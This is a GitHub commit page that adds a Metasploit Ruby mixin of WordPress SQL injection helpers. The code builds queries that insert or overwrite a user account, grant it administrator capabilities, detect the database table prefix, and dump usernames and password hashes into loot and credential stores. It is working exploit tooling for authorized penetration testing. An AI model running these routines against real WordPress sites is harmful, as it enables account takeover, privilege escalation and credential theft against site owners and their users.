Skip to content

Commit d2b4175

Browse files
authored
Land rapid7#19497, add Wordpress SQLi Mixin
Land rapid7#19497, add Wordpress SQLi Mixin
2 parents cb10062 + c259ce0 commit d2b4175

File tree

1 file changed

+200
-0
lines changed
  • lib/msf/core/exploit/remote/http/wordpress

1 file changed

+200
-0
lines changed
Lines changed: 200 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,200 @@
1+
module Msf
2+
# This module provides reusable SQLi (SQL Injection) helper functions
3+
# for WordPress exploits in Metasploit Framework. These functions allow
4+
# for actions such as creating new users, granting privileges, and
5+
# dumping user credentials via SQL injection vulnerabilities in WordPress.
6+
#
7+
# Usage:
8+
# Include this module in your exploit or auxiliary module and use
9+
# the provided functions to simplify SQL injection logic.
10+
module Exploit::Remote::HTTP::Wordpress::SQLi
11+
include Msf::Exploit::SQLi
12+
13+
# Function to initialize the SQLi instance in the mixin.
14+
#
15+
# This function sets up the SQLi instance that is initialized in the exploit module.
16+
# The SQLi instance is passed as a parameter to ensure it is accessible within the mixin
17+
# and can be used for executing SQL injection queries.
18+
#
19+
# @param sqli [Object] The SQLi instance initialized in the exploit module.
20+
# @return [void]
21+
def wordpress_sqli_initialize(sqli)
22+
@sqli = sqli
23+
@prefix = wordpress_sqli_identify_table_prefix
24+
end
25+
26+
# Inject an user into the WordPress database, creating or updating an entry.
27+
#
28+
# This method either creates a new user entry in the 'users' table or updates an existing one.
29+
# If the user already exists, their password, nicename, email, and display name will be updated.
30+
# Otherwise, a new user will be created with the provided credentials and default values.
31+
# The password is hashed using MD5 for compatibility with older WordPress versions.
32+
#
33+
# @param username [String] The username for the new or updated user.
34+
# @param password [String] The password for the new user (stored as an MD5 hash).
35+
# @param email [String] The email for the new user.
36+
# @return [void]
37+
def wordpress_sqli_create_user(username, password, email)
38+
query = <<-SQL
39+
INSERT INTO #{@prefix}users (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name)
40+
SELECT '#{username}', MD5('#{password}'), '#{username}', '#{email}', user_registered, user_status, '#{username}'
41+
FROM #{@prefix}users
42+
WHERE NOT EXISTS (
43+
SELECT 1 FROM #{@prefix}users WHERE user_login = '#{username}'
44+
)
45+
LIMIT 1
46+
ON DUPLICATE KEY UPDATE
47+
user_pass = MD5('#{password}'),
48+
user_nicename = '#{username}',
49+
user_email = '#{email}',
50+
display_name = '#{username}'
51+
SQL
52+
53+
@sqli.raw_run_sql(query.strip.gsub(/\s+/, ' '))
54+
55+
vprint_status("{WPSQLi} User '#{username}' created or updated successfully.")
56+
end
57+
58+
# Grant admin privileges to the specified user by creating or updating the appropriate meta entry.
59+
#
60+
# This method either creates a new entry in the 'usermeta' table or updates an existing one
61+
# to grant administrator capabilities to the specified user. If the entry for the user's
62+
# capabilities already exists, it will be updated to assign administrator privileges.
63+
# If the entry does not exist, a new one will be created.
64+
#
65+
# @param username [String] The username of the user to grant privileges to.
66+
# @return [void]
67+
def wordpress_sqli_grant_admin_privileges(username)
68+
admin_query = <<-SQL
69+
INSERT INTO #{@prefix}usermeta (user_id, meta_key, meta_value)
70+
SELECT ID, '#{@prefix}capabilities', 'a:1:{s:13:"administrator";s:1:"1";}'
71+
FROM #{@prefix}users
72+
WHERE user_login = '#{username}'
73+
ON DUPLICATE KEY UPDATE
74+
meta_value = 'a:1:{s:13:"administrator";s:1:"1";}'
75+
SQL
76+
77+
@sqli.raw_run_sql(admin_query.strip.gsub(/\s+/, ' '))
78+
vprint_status("{WPSQLi} Admin privileges granted or updated for user '#{username}'.")
79+
end
80+
81+
# Identify the table prefix for the WordPress installation
82+
#
83+
# @return [String] The detected table prefix
84+
# @raise [Failure::UnexpectedReply] If the table prefix could not be detected
85+
def wordpress_sqli_identify_table_prefix
86+
indicator = rand(0..19)
87+
random_alias = Rex::Text.rand_text_alpha(1..5)
88+
default_prefix_check = "SELECT #{indicator} FROM information_schema.tables WHERE table_name = 'wp_users'"
89+
result = @sqli.run_sql(default_prefix_check)&.to_i
90+
91+
if result == indicator
92+
vprint_status("{WPSQLi} Retrieved default table prefix: 'wp_'")
93+
return 'wp_'
94+
end
95+
vprint_status('{WPSQLi} Default prefix not found, attempting to detect custom table prefix...')
96+
97+
query = <<-SQL
98+
SELECT LEFT(table_name, LENGTH(table_name) - LENGTH('users'))
99+
FROM information_schema.tables
100+
WHERE table_schema = database()
101+
AND table_name LIKE '%\\_users'
102+
AND (SELECT COUNT(*)
103+
FROM information_schema.columns #{random_alias}
104+
WHERE #{random_alias}.table_schema = tables.table_schema
105+
AND #{random_alias}.table_name = tables.table_name
106+
AND #{random_alias}.column_name IN ('user_login', 'user_pass')
107+
) = 2
108+
LIMIT 1
109+
SQL
110+
111+
prefix = @sqli.run_sql(query.strip.gsub(/\s+/, ' '))
112+
unless prefix && !prefix.strip.empty?
113+
print_error('{WPSQLi} Unable to detect the table prefix.')
114+
return nil
115+
end
116+
117+
vprint_status("{WPSQLi} Custom table prefix detected: '#{prefix}'")
118+
119+
prefix
120+
end
121+
122+
# Get users' credentials from the wp_users table
123+
#
124+
# @param count [Integer] The number of users to retrieve (default: 10)
125+
# @return [Array<Array>] Array of arrays containing user login and password hash
126+
def wordpress_sqli_get_users_credentials(count = 10)
127+
columns = ['user_login', 'user_pass']
128+
data = @sqli.dump_table_fields("#{@prefix}users", columns, '', count)
129+
130+
table = Rex::Text::Table.new(
131+
'Header' => "#{@prefix}users",
132+
'Indent' => 4,
133+
'Columns' => columns
134+
)
135+
136+
loot_data = ''
137+
data.each do |user|
138+
table << user
139+
loot_data << "Username: #{user[0]}, Password Hash: #{user[1]}\n"
140+
141+
create_credential({
142+
workspace_id: myworkspace_id,
143+
origin_type: :service,
144+
module_fullname: fullname,
145+
username: user[0],
146+
private_type: :nonreplayable_hash,
147+
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
148+
private_data: user[1],
149+
service_name: 'WordPress',
150+
address: datastore['RHOST'],
151+
port: datastore['RPORT'],
152+
protocol: 'tcp',
153+
status: Metasploit::Model::Login::Status::UNTRIED
154+
})
155+
156+
vprint_good("{WPSQLi} Credential for user '#{user[0]}' created successfully.")
157+
end
158+
159+
vprint_status('{WPSQLi} Dumped user data:')
160+
print_line(table.to_s)
161+
162+
loot_path = store_loot(
163+
'wordpress.users',
164+
'text/plain',
165+
datastore['RHOST'],
166+
loot_data,
167+
'wp_users.txt',
168+
'WordPress Usernames and Password Hashes'
169+
)
170+
171+
print_good("Loot saved to: #{loot_path}")
172+
173+
vprint_status('{WPSQLi} Reporting host...')
174+
report_host(host: datastore['RHOST'])
175+
176+
vprint_status('{WPSQLi} Reporting service...')
177+
report_service(
178+
host: datastore['RHOST'],
179+
port: datastore['RPORT'],
180+
proto: 'tcp',
181+
name: fullname,
182+
info: description.strip
183+
)
184+
185+
vprint_status('{WPSQLi} Reporting vulnerability...')
186+
report_vuln(
187+
host: datastore['RHOST'],
188+
port: datastore['RPORT'],
189+
proto: 'tcp',
190+
name: fullname,
191+
refs: references,
192+
info: description.strip
193+
)
194+
195+
vprint_good('{WPSQLi} Reporting completed successfully.')
196+
197+
return data
198+
end
199+
end
200+
end

0 commit comments

Comments
 (0)